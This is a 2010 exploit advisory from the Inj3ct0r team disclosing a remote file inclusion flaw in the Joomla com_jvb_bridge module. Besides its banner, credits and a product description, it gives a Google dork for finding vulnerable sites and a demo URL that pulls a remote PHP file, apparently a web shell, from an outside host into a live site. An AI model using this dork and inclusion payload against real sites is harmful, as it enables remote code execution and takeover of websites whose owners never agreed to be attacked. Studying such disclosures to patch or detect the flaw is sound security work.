============================================= Joomla com_jvb_bridge RFI Vulnerability ============================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ########################################## 1 0 I'm Sid3^effects member from Inj3ct0r Team 1 1 ########################################## 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Name : Joomla com_jvb_bridge RFI Vulnerability Date : june, 20 2010 Critical Level : HIGH Vendor Url : http://www.joomplace.com/bridges/vbulletin-module---latest-posts.html Google Dork:inurl:com_jvb_bridge Author : Sid3^effects aKa HaRi special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,gunslinger_ greetz to :All ICW members and my friends :) luv y0 guyz ####################################################################################################### Description: Using this joomla module you will have the lastest posts from vBulletin forum shown on your web site. It is possible to switch the module to either extended view (that will show threads from different forums in tabs) or simple mode (with no division to tabs). And it is possible to show latest threads from the whole forum without adding specific subforums to the component's config. ############################################################################################################### Xploit: RFI Vulnerability com_jvb_bridge suffers from a RFI vulnerability :) DEMO URL : http://demo.joomplace.com/index.php?option=com_jvb_bridge&Itemid=%272#http://nafeesnursery.com/images/c100.php ############################################################################################################### # 0day no more # Sid3^effects